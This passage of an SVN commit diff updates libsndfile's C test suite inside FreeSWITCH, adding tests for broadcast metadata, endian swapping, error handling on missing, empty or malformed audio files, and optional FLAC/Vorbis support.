+	snprintf (bc_write.originator_reference, sizeof (bc_write.originator_reference), "%08x-%08x", (unsigned int) time (NULL), (unsigned int) (~ time (NULL))) ;
+	snprintf (bc_write.origination_date, sizeof (bc_write.origination_date), "%d/%02d/%02d", 2006, 3, 30) ;
+	snprintf (bc_write.origination_time, sizeof (bc_write.origination_time), "%02d:%02d:%02d", 20, 27, 0) ;
+	snprintf (bc_write.umid, sizeof (bc_write.umid), "Some umid") ;
+	bc_write.coding_history_size = 0 ;
+
+	for (k = 0 ; bc_write.coding_history_size < 512 ; k++)
+	{	snprintf (bc_write.coding_history + bc_write.coding_history_size,
+			sizeof (bc_write.coding_history) - bc_write.coding_history_size, "line %4d\n", k) ;
+		bc_write.coding_history_size = strlen (bc_write.coding_history) ;
+		} ;
+
+	exit_if_true (bc_write.coding_history_size < 512,
+			"\n\nLine %d : bc_write.coding_history_size (%d) should be > 512.\n\n", __LINE__, bc_write.coding_history_size) ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_SET_BROADCAST_INFO, &bc_write, sizeof (bc_write)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	test_write_double_or_die (file, 0, double_data, BUFFER_LEN, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&bc_read, 0, sizeof (bc_read)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+	if (sf_command (file, SFC_GET_BROADCAST_INFO, &bc_read, sizeof (bc_read)) == SF_FALSE)
+	{	printf ("\n\nLine %d : sf_command (SFC_SET_BROADCAST_INFO) failed.\n\n", __LINE__) ;
+		exit (1) ;
+		} ;
+	check_log_buffer_or_die (file, __LINE__) ;
+	sf_close (file) ;
+
+	exit_if_true (bc_read.coding_history_size < 512,
+			"\n\nLine %d : unexpected coding history size %d (should be > 512).\n\n", __LINE__, bc_read.coding_history_size) ;
+
+	exit_if_true (strstr (bc_read.coding_history, "libsndfile") == NULL,
+			"\n\nLine %d : coding history incomplete (should contain 'libsndfile').\n\n", __LINE__) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* broadcast_coding_history_size */
+
+/*==============================================================================
+*/
+
+static	void
+channel_map_test (const char *filename, int filetype)
+{	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
 	int channel_map_read [4], channel_map_write [4] =
 	{	SF_CHANNEL_MAP_FRONT_LEFT, SF_CHANNEL_MAP_FRONT_CENTER,
 		SF_CHANNEL_MAP_REAR_LEFT, SF_CHANNEL_MAP_REAR_RIGHT
@@ -874,13 +1262,70 @@
 
 	unlink (filename) ;
 	puts ("ok") ;
-#endif
 } /* channel_map_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 59e5d452-8dae-45aa-99aa-b78dc0deba1c
-*/
+static	void
+raw_needs_endswap_test (const char *filename, int filetype)
+{	static int subtypes [] =
+	{	SF_FORMAT_FLOAT, SF_FORMAT_DOUBLE,
+		SF_FORMAT_PCM_16, SF_FORMAT_PCM_24, SF_FORMAT_PCM_32
+		} ;
+	SNDFILE	 *file ;
+	SF_INFO	 sfinfo ;
+	unsigned k ;
+	int needs_endswap ;
+
+	print_test_name (__func__, filename) ;
+
+	for (k = 0 ; k < ARRAY_LEN (subtypes) ; k++)
+	{
+		if (filetype == (SF_ENDIAN_LITTLE | SF_FORMAT_AIFF))
+			switch (subtypes [k])
+			{	/* Little endian AIFF does not AFAIK support fl32 and fl64. */
+				case SF_FORMAT_FLOAT :
+				case SF_FORMAT_DOUBLE :
+					continue ;
+				default :
+					break ;
+				} ;
+
+		memset (&sfinfo, 0, sizeof (sfinfo)) ;
+		sfinfo.samplerate	= 11025 ;
+		sfinfo.format		= filetype | subtypes [k] ;
+		sfinfo.channels		= 1 ;
+
+		file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+		test_write_double_or_die (file, 0, double_data, BUFFER_LEN, __LINE__) ;
+		sf_close (file) ;
+
+		memset (&sfinfo, 0, sizeof (sfinfo)) ;
+		file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+		needs_endswap = sf_command (file, SFC_RAW_DATA_NEEDS_ENDSWAP, NULL, 0) ;
+
+		switch (filetype)
+		{	case SF_FORMAT_WAV :
+			case SF_FORMAT_WAVEX :
+			case SF_FORMAT_AIFF | SF_ENDIAN_LITTLE :
+				exit_if_true (needs_endswap != CPU_IS_BIG_ENDIAN,
+					"\n\nLine %d : SFC_RAW_DATA_NEEDS_ENDSWAP failed for (%d | %d).\n\n", __LINE__, filetype, k) ;
+				break ;
+
+			case SF_FORMAT_AIFF :
+			case SF_FORMAT_WAV | SF_ENDIAN_BIG :
+				exit_if_true (needs_endswap != CPU_IS_LITTLE_ENDIAN,
+					"\n\nLine %d : SFC_RAW_DATA_NEEDS_ENDSWAP failed for (%d | %d).\n\n", __LINE__, filetype, k) ;
+				break ;
+
+			default :
+				printf ("\n\nLine %d : bad format value %d.\n\n", __LINE__, filetype) ;
+				exit (1) ;
+				break ;
+			} ;
+
+		sf_close (file) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* raw_needs_endswap_test */

Modified: freeswitch/branches/seven/libs/libsndfile/tests/cpp_test.cc (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/cpp_test.cc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/cpp_test.cc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -123,8 +123,8 @@
 		} ;
 
 	if (file.frames () != ARRAY_LEN (sbuffer) * 4)
-	{	printf ("\n\n%s %d : Error : frames %ld should be %d.\n\n", __func__, __LINE__,
-				SF_COUNT_TO_LONG (file.frames ()), ARRAY_LEN (sbuffer) * 4 / 2) ;
+	{	printf ("\n\n%s %d : Error : frames %ld should be %lu.\n\n", __func__, __LINE__,
+				SF_COUNT_TO_LONG (file.frames ()), (long unsigned int) ARRAY_LEN (sbuffer) * 4 / 2) ;
 		exit (1) ;
 		} ;
 
@@ -178,6 +178,35 @@
 	puts ("ok") ;
 } /* ceeplusplus_test */
 
+static void
+ceeplusplus_extra_test (void)
+{	SndfileHandle file ;
+	const char * filename = "bad_file_name.wav" ;
+	int error ;
+
+	print_test_name ("ceeplusplus_extra_test", filename) ;
+
+	file = SndfileHandle (filename) ;
+
+	error = file.error () ;
+	if (error == 0)
+	{	printf ("\n\n%s %d : error should be zero.\n\n", __func__, __LINE__) ;
+		exit (1) ;
+		} ;
+
+	if (file.strError () == NULL)
+	{	printf ("\n\n%s %d : strError should not return NULL.\n\n", __func__, __LINE__) ;
+		exit (1) ;
+		} ;
+
+	if (file.seek (0, SEEK_SET) != 0)
+	{	printf ("\n\n%s %d : bad seek ().\n\n", __func__, __LINE__) ;
+		exit (1) ;
+		} ;
+
+	puts ("ok") ;
+} /* ceeplusplus_extra_test */
+
 int
 main (void)
 {
@@ -185,13 +214,8 @@
 	ceeplusplus_test ("cpp_test.aiff", SF_FORMAT_AIFF | SF_FORMAT_PCM_S8) ;
 	ceeplusplus_test ("cpp_test.au", SF_FORMAT_AU | SF_FORMAT_FLOAT) ;
 
+	ceeplusplus_extra_test () ;
+
 	return 0 ;
 } /* main */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 06e48ee6-b19d-4453-9999-a5cf2d7bf0b6
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -30,25 +30,44 @@
 #define		DFT_SPEC_LENGTH		(DFT_DATA_LENGTH / 2)
 
 static void	dft_magnitude (const double *data, double *spectrum) ;
-static double calc_max_spectral_difference (double *spec1, double *spec2) ;
+static double calc_max_spectral_difference (const double *spec1, const double *spec2) ;
 
 /*--------------------------------------------------------------------------------
 **	Public functions.
 */
 
 double
-dft_cmp (int linenum, double *orig, double *test, int len, double target_snr, int allow_exit)
+dft_cmp_float (int linenum, const float *in_data, const float *test_data, int len, double target_snr, int allow_exit)
+{	static double orig [DFT_DATA_LENGTH] ;
+	static double test [DFT_DATA_LENGTH] ;
+	unsigned	k ;
+
+	if (len != DFT_DATA_LENGTH)
+	{	printf ("Error (line %d) : dft_cmp_float : Bad input array length.\n", linenum) ;
+		return 1 ;
+		} ;
+
+	for (k = 0 ; k < ARRAY_LEN (orig) ; k++)
+	{	test [k] = test_data [k] ;
+		orig [k] = in_data [k] ;
+		} ;
+
+	return dft_cmp_double (linenum, orig, test, len, target_snr, allow_exit) ;
+} /* dft_cmp_float */
+
+double
+dft_cmp_double (int linenum, const double *orig, const double *test, int len, double target_snr, int allow_exit)
 {	static double orig_spec [DFT_SPEC_LENGTH] ;
 	static double test_spec [DFT_SPEC_LENGTH] ;
 	double		snr ;
 
 	if (! orig || ! test)
-	{	printf ("Error (line % d) : dft_cmp : Bad input arrays.\n", linenum) ;
+	{	printf ("Error (line %d) : dft_cmp_double : Bad input arrays.\n", linenum) ;
 		return 1 ;
 		} ;
 
 	if (len != DFT_DATA_LENGTH)
-	{	printf ("Error (line % d) : dft_cmp : Bad input array length.\n", linenum) ;
+	{	printf ("Error (line %d) : dft_cmp_double : Bad input array length.\n", linenum) ;
 		return 1 ;
 		} ;
 
@@ -68,7 +87,7 @@
 		snr = -500.0 ;
 
 	return snr ;
-} /* dft_cmp */
+} /* dft_cmp_double */
 
 /*--------------------------------------------------------------------------------
 **	Quick dirty calculation of magnitude spectrum for real valued data using
@@ -112,7 +131,7 @@
 } /* dft_magnitude */
 
 static double
-calc_max_spectral_difference (double *orig, double *test)
+calc_max_spectral_difference (const double *orig, const double *test)
 {	double orig_max = 0.0, max_diff = 0.0 ;
 	int	k ;
 
@@ -128,10 +147,3 @@
 
 	return 20.0 * log10 (max_diff / orig_max) ;
 } /* calc_max_spectral_difference */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: cba7ffe2-bafe-44bd-b57a-15def3408410
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/dft_cmp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,30 +1,25 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
-**  
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
 ** the Free Software Foundation; either version 2 of the License, or
 ** (at your option) any later version.
-** 
+**
 ** This program is distributed in the hope that it will be useful,
 ** but WITHOUT ANY WARRANTY; without even the implied warranty of
 ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 ** GNU General Public License for more details.
-** 
+**
 ** You should have received a copy of the GNU General Public License
-** along with this program; if not, write to the Free Software 
+** along with this program; if not, write to the Free Software
 ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
 */
 
 
 #define		DFT_DATA_LENGTH		(2048)
 
-double	dft_cmp (int linenum, double *orig, double *test, int len, double tolerance, int allow_exit) ;
+double	dft_cmp_float (int linenum, const float *orig, const float *test, int len, double tolerance, int allow_exit) ;
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 10eac7b2-04ef-4d86-b7c0-8f1de57b12a0
-*/
+double	dft_cmp_double (int linenum, const double *orig, const double *test, int len, double tolerance, int allow_exit) ;
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/dither_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/dither_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/dither_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003,2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -183,10 +183,3 @@
 	puts ("ok") ;
 } /* dither_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: ad688dd9-5211-48ef-b82d-089eafb1e7ad
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/dwvw_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/dwvw_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/dwvw_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -20,13 +20,12 @@
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <math.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
 #endif
 
-#include <float_cast.h>
-
 #include <sndfile.h>
 
 #include "utils.h"
@@ -110,10 +109,4 @@
 
 	return ;
 } /* dwvw_test */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 9e7731c3-43cd-4de5-b539-1ce6fa11d937
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/error_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/error_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/error_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -33,17 +33,6 @@
 #define	BUFFER_SIZE		(1<<15)
 #define	SHORT_BUFFER	(256)
 
-static void error_number_test (void) ;
-static void error_value_test (void) ;
-
-int
-main (void)
-{	error_number_test () ;
-	error_value_test () ;
-
-	return 0 ;
-} /* main */
-
 static void
 error_number_test (void)
 {	const char 	*noerror, *errstr ;
@@ -62,7 +51,9 @@
 
 		/* Test for error. */
 		if (strstr (errstr, "This is a bug in libsndfile."))
+		{	printf ("\n\nError : error number %d : %s\n\n\n", k, errstr) ;
 			exit (1) ;
+			} ;
 		} ;
 
 
@@ -104,10 +95,134 @@
 	return ;
 } /* error_value_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 799eba74-b505-49d9-89a6-22a7f51a31b4
-*/
+static void
+no_file_test (const char * filename)
+{	SNDFILE		*sndfile ;
+	SF_INFO		sfinfo ;
+
+	print_test_name (__func__, filename) ;
+
+	unlink (filename) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sndfile = sf_open (filename, SFM_READ, &sfinfo) ;
+
+	exit_if_true (sndfile != NULL, "\n\nLine %d : should not have received a valid SNDFILE* pointer.\n", __LINE__) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* no_file_test */
+
+static void
+zero_length_test (const char *filename)
+{	SNDFILE		*sndfile ;
+	SF_INFO		sfinfo ;
+	FILE		*file ;
+
+	print_test_name (__func__, filename) ;
+
+	/* Create a zero length file. */
+	file = fopen (filename, "w") ;
+	exit_if_true (file == NULL, "\n\nLine %d : fopen ('%s') failed.\n", __LINE__, filename) ;
+	fclose (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sndfile = sf_open (filename, SFM_READ, &sfinfo) ;
+
+	exit_if_true (sndfile != NULL, "\n\nLine %d : should not have received a valid SNDFILE* pointer.\n", __LINE__) ;
+
+	exit_if_true (0 && sf_error (NULL) != SF_ERR_UNRECOGNISED_FORMAT,
+		"\n\nLine %3d : Error : %s\n       should be : %s\n", __LINE__,
+		sf_strerror (NULL), sf_error_number (SF_ERR_UNRECOGNISED_FORMAT)) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* zero_length_test */
+
+static void
+bad_wav_test (const char * filename)
+{	SNDFILE		*sndfile ;
+	SF_INFO		sfinfo ;
+
+	FILE		*file ;
+	const char	data [] = "RIFF    WAVEfmt            " ;
+
+	print_test_name (__func__, filename) ;
+
+	if ((file = fopen (filename, "w")) == NULL)
+	{	printf ("\n\nLine %d : fopen returned NULL.\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	exit_if_true (fwrite (data, sizeof (data), 1, file) != 1, "\n\nLine %d : fwrite failed.\n", __LINE__) ;
+	fclose (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sndfile = sf_open (filename, SFM_READ, &sfinfo) ;
+
+	if (sndfile)
+	{	printf ("\n\nLine %d : should not have received a valid SNDFILE* pointer.\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* bad_wav_test */
+
+static void
+error_close_test (void)
+{	static short buffer [SHORT_BUFFER] ;
+	const char	*filename = "error_close.wav" ;
+	SNDFILE		*sndfile ;
+	SF_INFO		sfinfo ;
+	FILE		*file ;
+
+	print_test_name (__func__, filename) ;
+
+	/* Open a FILE* from which we will extract a file descriptor. */
+	if ((file = fopen (filename, "w")) == NULL)
+	{	printf ("\n\nLine %d : fopen returned NULL.\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	/* Set parameters for writing the file. */
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+	sfinfo.channels = 1 ;
+	sfinfo.samplerate = 44100 ;
+	sfinfo.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16 ;
+
+	sndfile = sf_open_fd (fileno (file), SFM_WRITE, &sfinfo, SF_TRUE) ;
+	if (sndfile == NULL)
+	{	printf ("\n\nLine %d : sf_open_fd failed : %s\n", __LINE__, sf_strerror (NULL)) ;
+		exit (1) ;
+		} ;
+
+	test_write_short_or_die (sndfile, 0, buffer, ARRAY_LEN (buffer), __LINE__) ;
+
+	/* Now close the fd associated with file before calling sf_close. */
+	fclose (file) ;
+
+	if (sf_close (sndfile) == 0)
+	{	printf ("\n\nLine %d : sf_close should not have returned zero.\n", __LINE__) ;
+		exit (1) ;
+		} ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* error_close_test */
+
+int
+main (void)
+{
+	error_number_test () ;
+	error_value_test () ;
+
+	error_close_test () ;
+
+	no_file_test ("no_file.wav") ;
+	zero_length_test ("zero_length.wav") ;
+	bad_wav_test ("bad_wav.wav") ;
+
+	return 0 ;
+} /* main */
+

Copied: freeswitch/branches/seven/libs/libsndfile/tests/external_libs_test.c (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/external_libs_test.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/external_libs_test.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/external_libs_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,149 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software ; you can redistribute it and/or modify
+** it under the terms of the GNU General Public License as published by
+** the Free Software Foundation ; either version 2 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY ; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU General Public License for more details.
+**
+** You should have received a copy of the GNU General Public License
+** along with this program ; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+#include "sfconfig.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+
+#include <sndfile.h>
+
+#include "utils.h"
+
+static void major_format_test (void) ;
+static void subtype_format_test (void) ;
+static void simple_format_test (void) ;
+
+int
+main (void)
+{
+	major_format_test () ;
+	subtype_format_test () ;
+	simple_format_test () ;
+
+	return 0 ;
+} /* main */
+
+static void
+major_format_test (void)
+{	SF_FORMAT_INFO	info ;
+	int have_ogg = 0, have_flac = 0 ;
+	int m, major_count ;
+
+	print_test_name (__func__, NULL) ;
+
+	sf_command (NULL, SFC_GET_FORMAT_MAJOR_COUNT, &major_count, sizeof (int)) ;
+
+	for (m = 0 ; m < major_count ; m++)
+	{	info.format = m ;
+		sf_command (NULL, SFC_GET_FORMAT_MAJOR, &info, sizeof (info)) ;
+
+		have_flac = info.format == SF_FORMAT_FLAC ? 1 : have_flac ;
+		have_ogg = info.format == SF_FORMAT_OGG ? 1 : have_ogg ;
+		} ;
+
+	if (HAVE_EXTERNAL_LIBS)
+	{	exit_if_true (have_flac == 0, "\n\nLine %d : FLAC should be available.\n\n", __LINE__) ;
+		exit_if_true (have_ogg == 0, "\n\nLine %d : Ogg/Vorbis should be available.\n\n", __LINE__) ;
+		}
+	else
+	{	exit_if_true (have_flac, "\n\nLine %d : FLAC should not be available.\n\n", __LINE__) ;
+		exit_if_true (have_ogg, "\n\nLine %d : Ogg/Vorbis should not be available.\n\n", __LINE__) ;
+		} ;
+
+	puts ("ok") ;
+} /* major_format_test */
+
+static void
+subtype_format_test (void)
+{	SF_FORMAT_INFO	info ;
+	int have_vorbis = 0 ;
+	int s, subtype_count ;
+
+	print_test_name (__func__, NULL) ;
+
+	sf_command (NULL, SFC_GET_FORMAT_SUBTYPE_COUNT, &subtype_count, sizeof (int)) ;
+
+	for (s = 0 ; s < subtype_count ; s++)
+	{	info.format = s ;
+		sf_command (NULL, SFC_GET_FORMAT_SUBTYPE, &info, sizeof (info)) ;
+
+		have_vorbis = info.format == SF_FORMAT_VORBIS ? 1 : have_vorbis ;
+		} ;
+
+	if (HAVE_EXTERNAL_LIBS)
+		exit_if_true (have_vorbis == 0, "\n\nLine %d : Ogg/Vorbis should be available.\n\n", __LINE__) ;
+	else
+		exit_if_true (have_vorbis, "\n\nLine %d : Ogg/Vorbis should not be available.\n\n", __LINE__) ;
+
+	puts ("ok") ;
+} /* subtype_format_test */
+
+static void
+simple_format_test (void)
+{	SF_FORMAT_INFO	info ;
+	int have_flac = 0, have_ogg = 0, have_vorbis = 0 ;
+	int s, simple_count ;
+
+	print_test_name (__func__, NULL) ;
+
+	sf_command (NULL, SFC_GET_SIMPLE_FORMAT_COUNT, &simple_count, sizeof (int)) ;
+
+	for (s = 0 ; s < simple_count ; s++)
+	{	info.format = s ;
+		sf_command (NULL, SFC_GET_SIMPLE_FORMAT, &info, sizeof (info)) ;
+
+		switch (info.format & SF_FORMAT_TYPEMASK)
+		{	case SF_FORMAT_FLAC :
+				have_flac = 1 ;
+				break ;
+
+			case SF_FORMAT_OGG :
+				have_ogg = 1 ;
+				break ;
+
+			default :
+				break ;
+			} ;
+
+		switch (info.format & SF_FORMAT_SUBMASK)
+		{	case SF_FORMAT_VORBIS :
+				have_vorbis = 1 ;
+				break ;
+
+			default :
+				break ;
+			} ;
+
+		} ;
+
+	if (HAVE_EXTERNAL_LIBS)
+	{	exit_if_true (have_flac == 0, "\n\nLine %d : FLAC should be available.\n\n", __LINE__) ;
+		exit_if_true (have_ogg == 0, "\n\nLine %d : Ogg/Vorbis should be available.\n\n", __LINE__) ;
+		exit_if_true (have_vorbis == 0, "\n\nLine %d : Ogg/Vorbis should be available.\n\n", __LINE__) ;
+		}
+	else
+	{	exit_if_true (have_flac, "\n\nLine %d : FLAC should not be available.\n\n", __LINE__) ;
+		exit_if_true (have_ogg, "\n\nLine %d : Ogg/Vorbis should not be available.\n\n", __LINE__) ;
+		exit_if_true (have_vorbis, "\n\nLine %d : Ogg/Vorbis should not be available.\n\n", __LINE__) ;
+		} ;
+
+	puts ("ok") ;
+} /* simple_format_test */

Modified: freeswitch/branches/seven/libs/libsndfile/tests/fix_this.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/fix_this.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/fix_this.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -45,8 +45,8 @@
 */
 
 typedef union
-{	double	d [BUFFER_SIZE + 1];
-	int 	i [BUFFER_SIZE + 1];
+{	double	d [BUFFER_SIZE + 1] ;
+	int 	i [BUFFER_SIZE + 1] ;
 } BUFFER ;
 
 static	BUFFER	data_buffer ;
@@ -322,10 +322,3 @@
 	return 0 ;
 } /* error_function */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 368e2777-2848-4e16-a77f-4db841377c73
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/floating_point_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -32,8 +32,6 @@
 #include "dft_cmp.h"
 #include "utils.h"
 
-#include "float_cast.h"
-
 #define	SAMPLE_RATE			16000
 
 static void	float_scaled_test	(const char *filename, int allow_exit, int replace_float, int filetype, double target_snr) ;
@@ -50,9 +48,11 @@
 
 
 static	double	double_data [DFT_DATA_LENGTH] ;
-static	double	test_data [DFT_DATA_LENGTH] ;
+static	double	double_test [DFT_DATA_LENGTH] ;
 
 static float	float_data [DFT_DATA_LENGTH] ;
+static float	float_test [DFT_DATA_LENGTH] ;
+
 static double	double_data [DFT_DATA_LENGTH] ;
 static short	short_data [DFT_DATA_LENGTH] ;
 static int		int_data [DFT_DATA_LENGTH] ;
@@ -110,10 +110,12 @@
 	float_scaled_test	("pcm_16.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_16, -140.0) ;
 	float_scaled_test	("pcm_24.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_24, -170.0) ;
 
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	float_scaled_test	("flac_8.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, -39.0) ;
 	float_scaled_test	("flac_16.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, -87.0) ;
 	float_scaled_test	("flac_24.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, -138.0) ;
+
+	float_scaled_test	("vorbis.oga", allow_exit, SF_FALSE, SF_FORMAT_OGG | SF_FORMAT_VORBIS, -31.0) ;
 #endif
 
 	float_scaled_test	("replace_float.raw", allow_exit, SF_TRUE, SF_ENDIAN_LITTLE | SF_FORMAT_RAW | SF_FORMAT_FLOAT, -163.0) ;
@@ -160,10 +162,12 @@
 	double_scaled_test	("pcm_16.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_16, -140.0) ;
 	double_scaled_test	("pcm_24.sds", allow_exit, SF_FALSE, SF_FORMAT_SDS | SF_FORMAT_PCM_24, -180.0) ;
 
-#ifdef HAVE_FLAC_ALL_H
+#if HAVE_EXTERNAL_LIBS
 	double_scaled_test	("flac_8.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_S8, -39.0) ;
 	double_scaled_test	("flac_16.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_16, -87.0) ;
 	double_scaled_test	("flac_24.flac", allow_exit, SF_FALSE, SF_FORMAT_FLAC | SF_FORMAT_PCM_24, -138.0) ;
+
